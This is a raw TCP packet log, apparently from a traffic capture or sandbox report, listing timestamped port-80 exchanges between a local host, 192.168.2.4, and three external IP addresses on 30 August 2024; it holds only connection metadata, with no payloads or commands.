Aug 30, 2024 03:17:07.819433928 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819446087 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819453955 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.819457054 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819475889 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.819494963 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.819498062 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819509029 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819518089 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819528103 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819540977 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.819561958 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.819588900 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819601059 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819613934 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819638014 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819638014 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.819648981 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819649935 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.819658995 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.819679022 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.819689989 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.820316076 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.820327044 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.820347071 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.820362091 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.820363045 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.820370913 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.820374012 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.820396900 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.820411921 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.820436954 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.820446968 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.820465088 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.820516109 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.820527077 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.820538044 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.820549011 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.820553064 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.820560932 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.820575953 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.820596933 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.820606947 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.820607901 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.820635080 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.854772091 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.854783058 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.854854107 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.854893923 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.854904890 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.854912996 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.854923964 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.854933023 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.854954004 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.854968071 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.855063915 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.855076075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.855083942 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.855093002 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.855102062 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.855112076 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.855113983 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.855122089 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.855133057 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.855137110 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.855149031 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.855170012 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.863660097 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.863668919 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.863714933 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.863780975 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.863822937 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.863919020 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.863929033 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.863936901 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.863946915 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.863956928 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.863965034 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.863966942 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.863977909 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.863984108 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.863990068 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864000082 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864001036 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.864011049 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.864032984 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.864043951 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864053011 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864062071 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864068985 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864095926 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.864105940 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.864221096 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864229918 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864239931 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864249945 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864259958 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864270926 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.864280939 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.864304066 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.864490032 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864500046 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864507914 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864516973 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864526033 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864531040 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.864536047 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864546061 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864554882 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.864556074 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864567041 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864567995 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.864578009 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.864588976 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.864617109 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.866367102 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.866378069 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.866414070 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.866504908 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.866516113 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.866549969 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.866626978 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.866638899 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.866647005 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.866666079 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.866683006 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.866820097 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.866863012 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.866949081 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.866957903 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.866990089 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.867080927 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.867090940 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.867100000 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.867109060 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.867116928 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.867125034 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.867142916 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.867152929 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.869425058 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.869474888 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.869556904 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.869566917 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.869575977 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.869585037 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.869595051 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.869600058 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.869606018 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.869620085 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.869630098 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.869649887 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.870368958 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.870378971 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.870388985 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.870398045 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.870408058 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.870417118 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.870429039 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.870448112 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.870496035 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.870507956 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.870515108 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.870541096 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.870563984 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.870767117 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.870776892 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.870784998 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.870794058 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.870804071 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.870811939 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.870829105 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.870847940 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.870887041 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.870898008 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.870906115 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.870932102 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.870956898 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.874233961 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.874248028 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.874258041 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.874267101 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.874277115 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.874285936 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.874286890 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.874298096 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.874305964 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.874306917 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.874340057 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.874897003 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.874907017 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.874943972 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.879065990 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.879076004 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.879123926 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.879215956 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.879220963 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.879230022 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.879234076 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.879237890 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.879242897 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.879254103 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.879266977 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.879278898 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.879353046 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.879359007 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.879369974 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.879374027 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.879404068 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.886924028 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.886955023 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.886965036 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.886984110 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.886984110 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.886997938 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.887023926 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.887041092 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.887046099 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.887051105 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.887057066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887082100 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.887105942 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.887156963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887161970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887171984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887181044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887187004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887197018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887202978 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.887226105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.887290955 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887295961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887306929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887314081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887329102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887334108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887343884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887346029 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.887346029 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.887348890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887355089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887365103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887372017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887382030 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.887408972 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.887408972 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.887586117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887590885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887600899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887607098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887612104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887618065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887623072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887628078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887633085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887646914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.887646914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.887650013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887661934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887665987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887666941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.887670994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887675047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887681007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887682915 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.887686014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887691021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887712002 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.887712002 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.887736082 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.887845039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887897015 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.887974024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887979031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887989044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887994051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.887999058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888004065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888009071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888017893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888022900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888027906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888032913 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.888034105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.888056040 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.888079882 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.888113022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888118029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888129950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888134956 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888140917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888150930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888154984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888169050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888175011 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.888175011 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.888179064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888185024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888190031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888194084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888195992 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.888200045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888202906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888207912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888211012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.888214111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888225079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888231039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888235092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888247013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888256073 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.888256073 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.888287067 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.888287067 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.888708115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888712883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888722897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888727903 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888731956 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888736963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888742924 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888746977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888751984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888756037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888761044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888765097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888765097 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.888777971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888787031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888792992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888792992 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.888803005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888808012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888813019 CEST	49733	80	192.168.2.4	147.45.44.104
